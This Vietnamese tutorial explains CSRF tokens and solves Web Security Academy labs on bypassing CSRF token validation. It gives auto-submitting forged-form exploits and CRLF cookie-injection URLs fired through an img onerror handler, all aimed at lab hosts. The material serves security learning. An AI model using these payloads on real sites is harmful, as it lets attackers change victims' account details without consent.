Bypassing CSRF token validation

CSRF token là gì

CSRF token là một giá trị bí mật, duy nhất, và không thể đoán trước, được tạo ra bởi ứng dụng phía server và chia sẻ với client. Khi client thực hiện một hành động nhạy cảm (như gửi form), họ phải gửi kèm CSRF token hợp lệ. Nếu không, server sẽ từ chối thực hiện yêu cầu.

Ví dụ, CSRF token thường được chia sẻ với client bằng cách chèn nó vào một tham số ẩn trong form HTML:

<form name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="example@normal-website.com">
    <input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
    <button class='button' type='submit'> Update email </button>
</form>

Khi form này được gửi, yêu cầu sẽ như sau:

POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded

csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com

CSRF token giúp ngăn chặn các cuộc tấn công CSRF bằng cách làm cho kẻ tấn công không thể dự đoán giá trị token hợp lệ để đưa vào yêu cầu.

Lưu ý: CSRF token không nhất thiết phải gửi như một tham số ẩn trong yêu cầu POST; nó cũng có thể được gửi trong HTTP header, và cách truyền token ảnh hưởng đáng kể đến mức độ bảo mật của cơ chế này.

Những lỗi thường gặp trong xác thực CSRF token

Xác thực CSRF token phụ thuộc vào request method

Một số ứng dụng chỉ xác thực token khi sử dụng một phương thưc nào đó

Ví dụ: Bypass xác thực bằng cách sủ dụng phương thức GET (chỉ POST mới cần xác thực)

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

Lab: CSRF where token validation depends on request method | Web Security AcademyWebSecAcademy

Giải pháp:

Đăng nhập, sử dụng chức năng thay đổi email và quan sát trong Burp Proxy

Gửi POST request đến Repeater và thử thay đổi giá trị CSRF token

Bad request, nhưng khi chuột phải và nhấn "change request method", request vẫn được chấp nhận

<form action="https://0a2d001d038176c383d760f600740097.web-security-academy.net/my-account/change-email?email=a%40gmail.com&csrf=loile" method="GET">
    <input type="hidden" name="email" value="loile@evil-user.net" />
</form>
<script>
    document.forms[0].submit();
</script>

Gửi tới nạn nhân

Xác thực CSRF token phụ thuộc vào sự hiện diện của token

Một số ứng dụng chỉ xác thực CSRF token khi nó hiện diện nhưng bỏ qua nếu không tìm thấy token. Trong trường hợp này, kẻ tấn công có thể bỏ toàn bộ tham số lẫn giá trị chứa token để bỏ qua xác thực và thực hiện tấn công CSRF

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

Lab: CSRF where token validation depends on token being present | Web Security AcademyWebSecAcademy

Đăng nhập, sử dụng chức năng thay đổi email và quan sát trong Burp Proxy

Gửi request đến repeater và thử xóa tham số csrf

302, request này vẫn được chấp nhận

Lợi dụng điều này tạo exploit CSRF trên exploit server và gửi tới nạn nhân

<form action="https://0af9006a049254528034a802001c00f2.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="ev1l@evil-user.net" />
</form>
<script>
    document.forms[0].submit();
</script>

CSRF không được liên kết với phiên người dùng

Một số ứng dụng không xác thực token thuộc về cùng một phiên với người dùng đang thực hiện request. Thay vào đó, ứng dụng duy trì một global pool các token mà nó phát hành và chấp nhận bất kỳ token nào xuất hiện trong pool đó.

=> Lấy token của tài khoản này xác thực cho tài khoản khác

Lab: CSRF where token is not tied to user session | Web Security AcademyWebSecAcademy

Đăng nhập tài khoản carlos và sử dụng tính thay đổi email

Tạo một request change-email khác, lần này sử dụng Intercept và Drop để lấy token hợp lệ chưa được sử dụng

Tạo exploit và gửi tới nạn nhân

<form action="https://0a08000c0334cdb98269798500700015.web-security-academy.net/my-account/change-email" method="POST">
          <input type="hidden" name="email" value="ev1l@evil.net" />
          <input type="hidden" name="csrf" value="lngtR7bH5MRu9TzMKT4zu9KoZa9CXbTx" />
</form>
<script>
           document.forms[0].submit();
</script>

Một số ứng dụng liên kết CSRF token với một cookie khác với cookie dùng để theo dõi phiên (thường diễn ra khi ứng dụng triển khai hai framework khác nhau, một cho xử lý phiên và một cho bảo vệ CSRF)

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

Nếu website chứa bất kỳ hành vi nào cho phép kẻ tấn công có thể đặt cookie lên trình duyệt của nạn nhân => Dùng token hợp lệ và cookie liên kết của tài khoản mình để đặt cookie vào trình duyệt nạn nhân rồi dùng token cho CSRF attack

Note: Hành vi cho phép đặt cookie này có thể được lợi dụng trên bất kỳ ứng dụng nào khác trong cùng một miền DNS tổng thể, miễn là cookie có phạm vi đủ lớn (ví dụ chức năng thiết lập cookie trên staging.demo.normal-website.comcó thể được tận dụng để đặt cookie được gửi đến secure.normal-website.com.)

Lab: CSRF where token is tied to non-session cookie | Web Security AcademyWebSecAcademy

Đăng nhập bằng tài khoản carlos và sử dụng chức năng thay đổi email, quan sát trong Burp Proxy

Gửi request này đến Repeater, thử chỉnh sửa 2 giá trị cookie. Với csrfKey, khi sửa sang giá trị bất kỳ sẽ nhận được lỗi "Invalid CSRF token", nhưng với session cookie thì lập tực bị đăng xuất.

Đăng nhập ẩn danh với tài khoản wiener, với chức năng thay đổi email, sử dụng csrfKey và crsf token của tài khoản carlos thì request vẫn được chấp nhận

Quay lại trang chủ, sử dụng chức năng tìm kiếm và gửi tới Repeater, để ý rằng từ được tìm kiếm được reflex trong Set-Cookie Header.

Lợi dụng chức năng này để tiêm csrfKey cookie vào trình duyệt nạn nhân bằng URL sau:

/?search=test%0d%0aSet-Cookie:%20csrfKey=vnvaj70Q1OtLAOOAMqwm03nE9wSpPcqG%3b%20SameSite=None

Tạo exploit và gửi tới nạn nhân (ở đây sử dụng thẻ <img> nhằm kích hoạt kích hoạt lỗi để gửi form):

<form action="https://0af800c0049be202a2f51f4c00b300bf.web-security-academy.net/my-account/change-email" method="POST">
          <input type="hidden" name="email" value="ev1l@evil.net" />
          <input type="hidden" name="csrf" value="cnKO7FyjOgSNFkvStnnYqZXVWEZ77JGS" />
</form>
<img src="https://0af800c0049be202a2f51f4c00b300bf.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=vnvaj70Q1OtLAOOAMqwm03nE9wSpPcqG%3b%20SameSite=None" onerror="document.forms[0].submit()">

Một số ứng dụng sao chép token vào cookie từ một tham số của request. Khi request tiếp theo được xác thực, ứng dụng chỉ cần xác minh rằng token được gửi trong tham số request khớp với giá trị được gửi trong cookie. Điều này đôi khi được gọi là biện pháp phong thủ SCRF "double submit" và được ủng hộ vì nó dễ triển khai và tránh nhu cầu về bất kỳ trạng thái nào ở phía máy chủ.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

Kẻ tấn công có thể tận dụng một hành vi tiết lập cookie nào đó của ứng dụng để đặt cookie của họ vào trình duyệt của nạn nhân và cung cấp token của họ (có thể tự tạo tùy vào định dạng token yêu cầu) cho nạn nhân trong cuộc tấn công CSRF.

Đăng nhập và sử dụng tính năng đổi email, quan sát request qua Burp proxy

Ứng dụng sử dụng "double submit" như đã trình bày ở trên. Tuy nhiên, khi thay đổi cả csrf trong tham số yêu cầu và trong cả cookie bằng một giá trị bất kỳ, request vân được chấp nhận

Ngoài ra, chức năng tìm kiếm của ứng dụng chứa lỗ hổng reflexed XSS, reflex nội dung tìm kiếm trong cookier header của phản hồi.

URL sau có thể được sử dụng để đưa cookie csrf giả vào trình duyệt của nạn nhân

/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None

exploit để khai thác CSRF và gửi tới nạn nhân

<form action="https://0ae50043042118c780acd0e6006600c9.web-security-academy.net/my-account/change-email" method="POST">
          <input type="hidden" name="email" value="ev1l@evil.net" />
          <input type="hidden" name="csrf" value="fake" />
</form>
<img src="https://0ae50043042118c780acd0e6006600c9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit()">

PreviousCross-site request forgery (CSRF)NextBypass SameSite cookie restrictions

Last updated 6 months ago